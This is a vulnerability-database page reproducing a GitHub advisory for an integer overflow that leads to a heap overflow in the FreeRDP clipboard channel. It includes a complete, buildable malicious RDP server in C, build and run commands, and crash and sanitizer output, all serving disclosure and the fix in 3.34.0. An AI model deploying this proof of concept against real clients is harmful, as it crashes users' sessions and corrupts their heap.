Read the docs

Integer overflow in FreeRDP cliprdr leads to heap overflow

Priority LOW 31CWE-122Published · Updated

Key facts

Attack vector
Local
Privileges required
None
User interaction
Required
Attack complexity
Low
Impact type
—
Confidentiality · integrity · availability
None · Low · None
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-vfrr-9j6p-4pmp. Fix status from GitHub.

Summary

FreeRDP from 2.0.0 before 3.34.0 computes the size of clipboard file content responses in 32-bit arithmetic, so a large requested length wraps around to a tiny allocation. Writing the response then overflows the heap buffer (CWE-122). A malicious RDP server can crash the client and corrupt its heap with a single crafted clipboard request, and user interaction is required.

Written with Claude Haiku 5.5 from the sources below · 2026-12-03

Description from the GitHub advisory

### Summary A malicious RDP server can reliably crash the FreeRDP client and corrupt its heap by sending a single `FILECONTENTS_REQUEST` PDU on the clipboard virtual channel. The response length is computed as `4 + response->cbRequested` in 32-bit arithmetic (`channels/cliprdr/cliprdr_common.c:232`); for `cbRequested` in `[0xFFFFFFFC, 0xFFFFFFFF]` the sum wraps to `[0,3]`, so only 8–11 bytes are allocated for a response that then writes ~4 GiB of the victim's local file content past the end of that buffer. In the default build the process aborts on a stream-capacity assert before the bulk write; in builds with `WITH_VERBOSE_WINPR_ASSERT=OFF` the out-of-bounds write executes, corrupting the heap until the process faults inside the copy. Both outcomes kill the client session, and repeated runs reproduce the identical fault. Realistically, nothing more than a crash with ASSERT disabled was demonstrated, so this could be driven lower. The heap overflow is the driving force. ### Details **The flagged computation** — `channels/cliprdr/cliprdr_common.c:225-238`: ```c wStream* cliprdr_packet_file_contents_response_new(const CLIPRDR_FILE_CONTENTS_RESPONSE* response) { wStream* s = nullptr; if (!response) return nullptr; s = cliprdr_packet_new(CB_FILECONTENTS_RESPONSE, response->common.msgFlags, 4 + response->cbRequested); /* line 232: UINT32 wrap */ if (!s) return nullptr; cliprdr_write_file_contents_response(s, response); /* line 237 */ return s; } ``` `cbRequested` is `UINT32` (`include/freerdp/channels/cliprdr.h:205`), so `4 + response->cbRequested` wraps for `cbRequested >= 0xFFFFFFFC` and is zero-extended into the `size_t dataLen` of `cliprdr_packet_new` (`cliprdr_common.c:119-133`), which allocates `dataLen + 8ULL` = **8..11 bytes** (line 122). The `WINPR_ASSERT(dataLen < UINT32_MAX)` in `cliprdr_packet_new` does not catch this: the wrapped `dataLen` is `[0,3]`. **The out-of-bounds writes** — `cliprdr_common.c:169-173`: ```c static void cliprdr_write_file_contents_response(wStream* s, const CLIPRDR_FILE_CONTENTS_RESPONSE* response) { Stream_Write_UINT32(s, response->streamId); /* streamId (4 bytes) */ /* line 171: first OOB byte */ Stream_Write(s, response->requestedData, response->cbRequested); /* line 172: ~4 GiB */ } ``` **Why the attacker controls `cbRequested`** — the value is read verbatim from the wire (`cliprdr_common.c:367`) and `cliprdr_validate_file_contents_request` (`cliprdr_common.c:89-117`) constrains it only for `FILECONTENTS_SIZE`, not `FILECONTENTS_RANGE`. Client-side path (`client/common/client_cliprdr_file.c`): the RANGE branch (line 2040) → `cliprdr_file_context_server_file_range_request` (line 1911) `malloc`s `cbRequested` bytes (line 1932), `fread`s up to `cbRequested` bytes from the shared file (line 1937), and passes the read-back size `r` to `cliprdr_file_context_send_contents_response` (line 1939). Its guard `size > UINT32_MAX` (line 1755) cannot fire because `r ≤ cbRequested ≤ UINT32_MAX`, and `.cbRequested = (UINT32)size` (line 1760) feeds the wrapped computation. Call chain confirmed by ASan: `cliprdr_process_filecontents_request` (`channels/cliprdr/client/cliprdr_main.c:324`) → `cliprdr_client_file_contents_response` (line 969) → `cliprdr_packet_file_contents_response_new` (`cliprdr_common.c:237`). **Fault behavior by build configuration (all observed):** | Build | Result | |---|---| | Default Release (`WITH_VERBOSE_WINPR_ASSERT=ON`, NDEBUG) | abort: `winpr_int_assert ((Stream_GetRemainingCapacity(_s) >= 4)) [winpr/include/winpr/stream.h:Stream_Write_UINT32_unchecked:1089]`, exit 134 | | Release + `WITH_VERBOSE_WINPR_ASSERT=OFF` | SIGSEGV inside `__memcpy_avx512_unaligned_erms` during the ~4 GiB copy (caught by FreeRDP's fatal handler, which aborts), exit 134 | | ASan build (`WITH_VERBOSE_WINPR_ASSERT=OFF`, `-DNDEBUG -g`) | `heap-buffer-overflow WRITE of size 1 ... 0 bytes after 8-byte region`, exit 1 | ASan report (attack `cbRequested=0xFFFFFFFC`): ``` ==911654==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50200004d238 WRITE of size 1 at 0x50200004d238 thread T6 #0 winpr_Data_Write_UINT16 winpr/include/winpr/endian.h:238 #1 winpr_Data_Write_UINT32 winpr/include/winpr/endian.h:261 #2 Stream_Write_UINT32_unchecked winpr/include/winpr/stream.h:1091 #3 cliprdr_write_file_contents_response channels/cliprdr/cliprdr_common.c:171 #4 cliprdr_packet_file_contents_response_new channels/cliprdr/cliprdr_common.c:237 #5 cliprdr_client_file_contents_response channels/cliprdr/client/cliprdr_main.c:969 #6 cliprdr_file_context_send_contents_response client/common/client_cliprdr_file.c:1770 #7 cliprdr_file_context_server_file_range_request client/common/client_cliprdr_file.c:1939 #8 cliprdr_file_context_server_file_contents_request client/common/client_cliprdr_file.c:2040 #9 cliprdr_process_filecontents_request channels/cliprdr/client/cliprdr_main.c:324 0x50200004d238 is located 0 bytes after 8-byte region [0x50200004d230,0x50200004d238) allocated by thread T6 here: #0 calloc #1 Stream_New winpr/libwinpr/utils/stream.c:130 #2 cliprdr_packet_new channels/cliprdr/cliprdr_common.c:122 #3 cliprdr_packet_file_contents_response_new channels/cliprdr/cliprdr_common.c:231 SUMMARY: AddressSanitizer: heap-buffer-overflow winpr/include/winpr/endian.h:238 in winpr_Data_Write_UINT16 ``` The wrap range is attacker-controlled end to end: `cbRequested` = `0xFFFFFFFC`/`0xFFFFFFFD`/`0xFFFFFFFE`/`0xFFFFFFFF` produce **8/9/10/11-byte regions** with the faulting address tracking the chosen value exactly (`0x50200004d238`/`...d239`/`...d23a`/`...d23b`), matching the predicted allocation sizes `(4 + cbRequested) mod 2^32 + 8`. ### Proof of concept **Setup.** Ubuntu 24.04, gcc 13, cmake 3.28. The PoC is a malicious RDP server compiled against the in-tree `libfreerdp-server` and the **unmodified** cliprdr server channel (`channels/cliprdr/server/cliprdr_main.c`, `channels/cliprdr/cliprdr_common.c`); the client under test is the official unmodified `xfreerdp`. Generate the TLS material the server needs: ```sh openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt \ -days 30 -nodes -subj "/CN=test" 2>/dev/null ``` **Malicious server source** (`evil_server.c`, complete — compile against the tree as shown below). It waits for the client to advertise `FileGroupDescriptorW`, then sends three `FILECONTENTS_REQUEST` PDUs: SIZE (learn the file size), a benign RANGE read (content proof), and the attack RANGE request with `cbRequested` from the `EVIL_CB` environment variable (default `0xFFFFFFFC`): ```c /** * evil_server.c -- PoC server for FreeRDP cliprdr FILECONTENTS_REQUEST * integer-overflow-to-heap-overflow (cliprdr_common.c:232). * * Runs a minimal RDP server (TLS, no NLA) with the cliprdr channel. * When the client advertises a file clipboard (FileGroupDescriptorW), * it requests the file list, then sends a FILECONTENTS_REQUEST with * dwFlags=FILECONTENTS_RANGE and cbRequested in the wrap range * [UINT32_MAX-3, UINT32_MAX] (default 0xFFFFFFFC). * * Built against unmodified FreeRDP sources: * - libfreerdp-server (listener/peer) * - channels/cliprdr/server/cliprdr_main.c + cliprdr_common.c (unmodified) */ #include <freerdp/config.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <inttypes.h> #include <winpr/winpr.h> #include <winpr/crt.h> #include <winpr/synch.h> #include <winpr/ssl.h> #include <winpr/wtsapi.h> #include <winpr/string.h> #include <winpr/print.h> #include <winpr/print.h> #include <freerdp/freerdp.h> #include <freerdp/listener.h> #include <freerdp/settings.h> #include <freerdp/constants.h> #include <freerdp/crypto/certificate.h> #include <freerdp/crypto/privatekey.h> #include <freerdp/channels/wtsvc.h> #include <freerdp/channels/channels.h> #include <freerdp/server/cliprdr.h> #include <freerdp/channels/cliprdr.h> #include <freerdp/log.h> #define TAG SERVER_TAG("evil") typedef struct { rdpContext _p; /* must be first */ HANDLE vcm; CliprdrServerContext* cliprdr; UINT32 fileGroupFormatId; uint32_t cbRequested; uint32_t listIndex; uint32_t clipDataId; uint32_t nPositionLow; uint32_t nPositionHigh; BOOL attackSent; } evilContext; static UINT evil_on_client_capabilities(CliprdrServerContext* context, const CLIPRDR_CAPABILITIES* capabilities) { WINPR_UNUSED(context); WINPR_UNUSED(capabilities); WLog_INFO(TAG, "[cliprdr] client capabilities received"); return CHANNEL_RC_OK; } static UINT evil_on_format_list(CliprdrServerContext* context, const CLIPRDR_FORMAT_LIST* formatList) { evilContext* ctx = (evilContext*)context->custom; CLIPRDR_FORMAT_LIST_RESPONSE resp = { 0 }; WINPR_ASSERT(context); WINPR_ASSERT(formatList); ctx->fileGroupFormatId = 0xFFFFFFFF; WLog_INFO(TAG, "[cliprdr] client FORMAT_LIST: %" PRIu32 " formats", formatList->numFormats); for (UINT32 x = 0; x < formatList->numFormats; x++) { const CLIPRDR_FORMAT* f = &formatList->formats[x]; WLog_INFO(TAG, "[cliprdr] formatId=%" PRIu32 " name='%s'", f->formatId, f->formatName ? f->formatName : "(null)"); if (f->formatName && (strcmp(f->formatName, "FileGroupDescriptorW") == 0)) ctx->fileGroupFormatId = f->formatId; } /* acknowledge the format list */ resp.common.msgType = CB_FORMAT_LIST_RESPONSE; resp.common.msgFlags = CB_RESPONSE_OK; resp.common.dataLen = 0; if (context->ServerFormatListResponse(context, &resp) != CHANNEL_RC_OK) WLog_ERR(TAG, "ServerFormatListResponse failed"); if (ctx->fileGroupFormatId != 0xFFFFFFFF) { /* ask for the file list so the client populates its file context */ CLIPRDR_FORMAT_DATA_REQUEST req = { 0 }; req.common.msgType = CB_FORMAT_DATA_REQUEST; req.common.msgFlags = 0; req.common.msgFlags = 0; req.common.dataLen = 4; req.requestedFormatId = ctx->fileGroupFormatId; WLog_INFO(TAG, "[cliprdr] requesting FileGroupDescriptorW (formatId=%" PRIu32 ")", ctx->fileGroupFormatId); if (context->ServerFormatDataRequest(context, &req) != CHANNEL_RC_OK) WLog_ERR(TAG, "ServerFormatDataRequest failed"); } return CHANNEL_RC_OK; } static UINT send_filecontents(CliprdrServerContext* context, UINT32 streamId, UINT32 flags, UINT32 posLow, UINT32 posHigh, UINT32 cb) { CLIPRDR_FILE_CONTENTS_REQUEST req = { 0 }; req.common.msgType = CB_FILECONTENTS_REQUEST; req.common.dataLen = 28; req.streamId = streamId; req.listIndex = ((evilContext*)context->custom)->listIndex; req.dwFlags = flags; req.nPositionLow = posLow; req.nPositionHigh = posHigh; req.cbRequested = cb; req.haveClipDataId = TRUE; req.clipDataId = ((evilContext*)context->custom)->clipDataId; return context->ServerFileContentsRequest(context, &req); } static UINT evil_on_format_data_response(CliprdrServerContext* context, const CLIPRDR_FORMAT_DATA_RESPONSE* response) { evilContext* ctx = (evilContext*)context->custom; WINPR_UNUSED(response); if (ctx->attackSent) return CHANNEL_RC_OK; ctx->attackSent = TRUE; WLog_INFO(TAG, "[cliprdr] FORMAT_DATA_RESPONSE received"); WLog_INFO(TAG, "[cliprdr] step 1: FILECONTENTS_REQUEST dwFlags=FILECONTENTS_SIZE " "cbRequested=8 (attacker learns the shared file size)"); send_filecontents(context, 1, FILECONTENTS_SIZE, 0, 0, 8); return CHANNEL_RC_OK; } static UINT evil_on_file_contents_response(CliprdrServerContext* context, const CLIPRDR_FILE_CONTENTS_RESPONSE* response) { evilContext* ctx = (evilContext*)context->custom; if (response->streamId == 1) { uint64_t size = 0; if (response->cbRequested >= 8 && response->requestedData) memcpy(&size, response->requestedData, 8); WLog_INFO(TAG, "[cliprdr] FILECONTENTS_RESPONSE(size) = %" PRIu64 " bytes", size); WLog_INFO(TAG, "[cliprdr] step 2: benign FILECONTENTS_REQUEST dwFlags=FILECONTENTS_RANGE " "cbRequested=64 offset=0 (proves client reads attacker-chosen file/offset)"); send_filecontents(context, 2, FILECONTENTS_RANGE, 0, 0, 64); return CHANNEL_RC_OK; } if (response->streamId == 2) { WLog_INFO(TAG, "[cliprdr] FILECONTENTS_RESPONSE(data) %" PRIu32 " bytes: ", response->cbRequested); winpr_HexDump(TAG, WLOG_INFO, response->requestedData, response->cbRequested < 64 ? response->cbRequested : 64); WLog_INFO(TAG, "[cliprdr] step 3: attack FILECONTENTS_REQUEST dwFlags=FILECONTENTS_RANGE " "cbRequested=0x%08" PRIX32 " -> 4+cbRequested wraps to %" PRIu32, ctx->cbRequested, (uint32_t)(4u + ctx->cbRequested)); send_filecontents(context, 3, FILECONTENTS_RANGE, ctx->nPositionLow, ctx->nPositionHigh, ctx->cbRequested); return CHANNEL_RC_OK; } WLog_INFO(TAG, "[cliprdr] FILECONTENTS_RESPONSE streamId=0x%08" PRIX32 " cbRequested=0x%08" PRIX32 " (%" PRIu32 ")", response->streamId, response->cbRequested, response->cbRequested); return CHANNEL_RC_OK; } static BOOL evil_post_connect(freerdp_peer* client) { evilContext* ctx = (evilContext*)client->context; WINPR_ASSERT(client); WINPR_ASSERT(ctx); WLog_INFO(TAG, "peer activated, channels joined"); if (!WTSVirtualChannelManagerIsChannelJoined(ctx->vcm, "cliprdr")) { WLog_ERR(TAG, "cliprdr channel not joined -- start client with /clipboard"); return TRUE; } ctx->cliprdr = cliprdr_server_context_new(ctx->vcm); if (!ctx->cliprdr) { WLog_ERR(TAG, "cliprdr_server_context_new failed"); return FALSE; } ctx->cliprdr->rdpcontext = &ctx->_p; ctx->cliprdr->custom = ctx; ctx->cliprdr->useLongFormatNames = TRUE; ctx->cliprdr->streamFileClipEnabled = TRUE; ctx->cliprdr->fileClipNoFilePaths = TRUE; ctx->cliprdr->hasHugeFileSupport = TRUE; ctx->cliprdr->ClientCapabilities = evil_on_client_capabilities; ctx->cliprdr->ClientFormatList = evil_on_format_list; ctx->cliprdr->ClientFormatDataResponse = evil_on_format_data_response; ctx->cliprdr->ClientFileContentsResponse = evil_on_file_contents_response; if (ctx->cliprdr->Start(ctx->cliprdr) != CHANNEL_RC_OK) { WLog_ERR(TAG, "cliprdr Start failed"); return FALSE; } WLog_INFO(TAG, "cliprdr server channel started"); return TRUE; } static BOOL evil_peer_context_new(freerdp_peer* client, rdpContext* context) { evilContext* ctx = (evilContext*)context; WINPR_UNUSED(client); ctx->vcm = WTSOpenServerA((LPSTR)client->context); if (!ctx->vcm || ctx->vcm == INVALID_HANDLE_VALUE) return FALSE; return TRUE; } static void evil_peer_context_free(freerdp_peer* client, rdpContext* context) { evilContext* ctx = (evilContext*)context; WINPR_UNUSED(client); if (ctx) { if (ctx->cliprdr) { if (ctx->cliprdr->Stop) ctx->cliprdr->Stop(ctx->cliprdr); cliprdr_server_context_free(ctx->cliprdr); } WTSCloseServer(ctx->vcm); } } static DWORD WINAPI evil_peer_mainloop(LPVOID arg) { freerdp_peer* client = (freerdp_peer*)arg; evilContext* ctx = NULL; rdpSettings* settings = NULL; HANDLE handles[64] = { 0 }; DWORD count = 0; DWORD status = 0; WINPR_ASSERT(client); client->ContextSize = sizeof(evilContext); client->ContextNew = evil_peer_context_new; client->ContextFree = evil_peer_context_free; client->PostConnect = evil_post_connect; if (!freerdp_peer_context_new(client)) goto out; ctx = (evilContext*)client->context; settings = client->context->settings; { const char* cert = getenv("EVIL_CERT"); const char* key = getenv("EVIL_KEY"); const char* s = NULL; rdpPrivateKey* pk = NULL; rdpCertificate* certObj = NULL; s = getenv("EVIL_CB"); ctx->cbRequested = s ? (uint32_t)strtoul(s, NULL, 0) : 0xFFFFFFFCu; s = getenv("EVIL_LISTINDEX"); ctx->listIndex = s ? (uint32_t)strtoul(s, NULL, 0) : 0; s = getenv("EVIL_CLIPDATAID"); ctx->clipDataId = s ? (uint32_t)strtoul(s, NULL, 0) : 0; s = getenv("EVIL_POSLOW"); ctx->nPositionLow = s ? (uint32_t)strtoul(s, NULL, 0) : 0; s = getenv("EVIL_POSHIGH"); ctx->nPositionHigh = s ? (uint32_t)strtoul(s, NULL, 0) : 0; pk = freerdp_key_new_from_file_enc(key, NULL); if (!pk) goto out; if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerRsaKey, pk, 1)) { freerdp_key_free(pk); goto out; } certObj = freerdp_certificate_new_from_file(cert); if (!certObj) goto out; if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerCertificate, certObj, 1)) { freerdp_certificate_free(certObj); goto out; } } if (!freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, TRUE)) goto out; if (!freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE)) goto out; if (!freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE)) goto out; if (!freerdp_settings_set_uint32(settings, FreeRDP_EncryptionLevel, ENCRYPTION_LEVEL_CLIENT_COMPATIBLE)) goto out; if (!freerdp_settings_set_uint32(settings, FreeRDP_MultifragMaxRequestSize, 0xFFFFFF)) goto out; if (!client->Initialize(client)) { WLog_ERR(TAG, "client Initialize failed"); goto out; } WLog_INFO(TAG, "connected client from %s", client->hostname ? client->hostname : "?"); while (TRUE) { count = 0; if (!client->GetEventHandles(client, handles, 32)) { WLog_ERR(TAG, "GetEventHandles failed"); break; } { DWORD n = 0; while (handles[n] != NULL) n++; count = n; } handles[count++] = WTSVirtualChannelManagerGetEventHandle(ctx->vcm); status = WaitForMultipleObjects(count, handles, FALSE, INFINITE); if (status == WAIT_FAILED) break; if (client->CheckFileDescriptor(client) != TRUE) break; if (WTSVirtualChannelManagerCheckFileDescriptor(ctx->vcm) != TRUE) break; } WLog_INFO(TAG, "peer main loop exited"); out: freerdp_peer_free(client); return 0; } static BOOL evil_peer_accepted(freerdp_listener* instance, freerdp_peer* client) { HANDLE h = NULL; WINPR_UNUSED(instance); client->ContextExtra = NULL; h = CreateThread(NULL, 0, evil_peer_mainloop, client, 0, NULL); if (!h) return FALSE; (void)CloseHandle(h); return TRUE; } int main(int argc, char* argv[]) { freerdp_listener* instance = NULL; uint16_t port = (argc > 1) ? (uint16_t)atoi(argv[1]) : 3390; WSADATA wsa = { 0 }; if (!getenv("EVIL_CERT")) (void)putenv("EVIL_CERT=server.crt"); if (!getenv("EVIL_KEY")) (void)putenv("EVIL_KEY=server.key"); WSAStartup(MAKEWORD(2, 2), &wsa); winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT); WTSRegisterWtsApiFunctionTable(FreeRDP_InitWtsApi()); instance = freerdp_listener_new(); if (!instance) return 1; instance->PeerAccepted = evil_peer_accepted; if (!instance->Open(instance, NULL, port)) { WLog_ERR(TAG, "failed to listen on port %" PRIu16, port); return 1; } WLog_INFO(TAG, "evil RDP server listening on %" PRIu16, port); for (;;) { HANDLE handles[32] = { 0 }; DWORD count = 0; count = instance->GetEventHandles(instance, handles, 32); if (count == 0) break; (void)WaitForMultipleObjects(count, handles, FALSE, INFINITE); if (!instance->CheckFileDescriptor(instance)) break; } freerdp_listener_free(instance); return 0; } ``` **Build** (from the source tree): ```sh # default Release (asserts ON) cmake -B build-release -DCMAKE_BUILD_TYPE=Release . && cmake --build build-release -j # Release with the capacity asserts disabled (shows the raw out-of-bounds write) cmake -B build-rna -DCMAKE_BUILD_TYPE=Release -DWITH_VERBOSE_WINPR_ASSERT=OFF . \ && cmake --build build-rna -j # ASan build (asserts OFF) to observe the first out-of-bounds byte precisely cmake -B build-asan -DCMAKE_BUILD_TYPE=Debug -DWITH_SANITIZE_ADDRESS=ON \ -DWITH_VERBOSE_WINPR_ASSERT=OFF -DCMAKE_C_FLAGS="-DNDEBUG -g" . \ && cmake --build build-asan -j # the malicious server (links the unmodified cliprdr server channel sources) gcc -O2 -g -DNDEBUG -o evil_server evil_server.c \ channels/cliprdr/server/cliprdr_main.c channels/cliprdr/cliprdr_common.c \ -Iinclude -Iwinpr/include -Ibuild-release/include -Ibuild-release/winpr/include \ -Lbuild-release/libfreerdp -lfreerdp3 -Lbuild-release/server/common -lfreerdp-server3 \ -Lbuild-release/winpr/libwinpr -lwinpr3 ``` **Run:** ```sh # 1. start the malicious server EVIL_CERT=server.crt EVIL_KEY=server.key EVIL_CB=0xFFFFFFFC ./evil_server 3390 & # 2. start the official client (default settings; /clipboard is the only flag) ./build-release/client/X11/xfreerdp /v:127.0.0.1:3390 /sec:tls /cert:ignore \ /clipboard /u:poc /p:poc & # 3. simulate the victim copying a >= 4 GiB file to the clipboard truncate -s 4294967296 bigfile.bin printf 'MARKER-POC75-UNIQUE-CONTENT-DEADBEEF-0123456789ABCDEF' | \ dd of=bigfile.bin bs=1 count=56 conv=notrunc printf 'file://%s/bigfile.bin\n' "$PWD" | xclip -selection clipboard -t text/uri-list ``` **Observed (server side):** the client answers the SIZE request with `4294967296`, returns the first 64 bytes of the shared file (unique marker bytes) to the server on the benign request, then crashes on the attack request: ``` FILECONTENTS_RESPONSE(size) = 4294967296 bytes FILECONTENTS_RESPONSE(data) 64 bytes: 0000 4d 41 52 4b 45 52 2d 50 4f 43 37 35 2d 55 4e 49 MARKER-POC75-UNI ... step 3: attack FILECONTENTS_REQUEST dwFlags=FILECONTENTS_RANGE cbRequested=0xFFFFFFFC -> 4+cbRequested wraps to 0 ``` **Observed (client side):** default Release exits 134 with the assert at `stream.h:1089`; the Release build with `WITH_VERBOSE_WINPR_ASSERT=OFF` faults with SIGSEGV inside `__memcpy_avx512_unaligned_erms` (fatal handler aborts, exit 134); the ASan build exits 1 with the heap-buffer-overflow report above; `cbRequested=0xFFFFFFFD`/`0xFFFFFFFE`/`0xFFFFFFFF` yield the 9/10/11-byte-region variants. **Determinism** — three runs per configuration, identical outcome each time: | Build | Run 1 | Run 2 | Run 3 | |---|---|---|---| | Default Release | exit 134, assert `stream.h:1089` | exit 134, assert `stream.h:1089` | exit 134, assert `stream.h:1089` | | Release, asserts OFF | exit 134, SIGSEGV in `__memcpy_avx512_unaligned_erms` | exit 134, SIGSEGV in `__memcpy_avx512_unaligned_erms` | exit 134, SIGSEGV in `__memcpy_avx512_unaligned_erms` | | ASan, asserts OFF | exit 1, WRITE of size 1 @ 0x50200004d238 | exit 1, WRITE of size 1 @ 0x50200004d238 | exit 1, WRITE of size 1 @ 0x50200004d238 | ### Impact **Type:** CWE-190 integer overflow → CWE-122 heap buffer overflow, remote denial of service with heap corruption. **Who is impacted:** any user of the FreeRDP client (`xfreerdp`, WinPR-based clients) who connects to a malicious or compromised RDP server while the default local→remote file clipboard redirection is enabled and has copied a file of at least ~4 GiB to the clipboard. The attacker chooses the extent and source offset of the ~4 GiB write (and thereby the exact allocation size and first out-of-bounds position, demonstrated 8/9/10/11 bytes across the wrap range); the bytes written are the victim's file content, which the attacker can already read through the protocol. The write corrupts heap metadata and adjacent allocations; the crash state shows the stack and instruction pointer intact (the process dies inside libc during the copy — SIGSEGV inside `__memcpy_avx512_unaligned_erms` with a clean 9-frame backtrace), so the integrity loss is corruption rather than controlled modification. Every configuration dies deterministically and repeatably (repeated runs reproduce the identical faulting address and frames): full denial of the remote session.

Why it matters now

Fix Fixed FreeRDP (c): 3.34.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)>= 2.0.03.34.0Patch availableGHSA-vfrr-9j6p-4pmp
  • FreeRDP (c) Vendor— Affected >= 2.0.0 Fixed in 3.34.0 Patch available GHSA-vfrr-9j6p-4pmp

Remediation

Upgrade FreeRDP to version 3.34.0 or later, which fixes the issue.

Written with Claude Haiku 5.5 from the sources below · 2026-12-03

  • Fix · GHSA-vfrr-9j6p-4pmp FreeRDP (c) Fixed in 3.34.0 Advisory →

Timeline

  1. 2026-12-03 Threatist record created from GHSA-vfrr-9j6p-4pmp

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences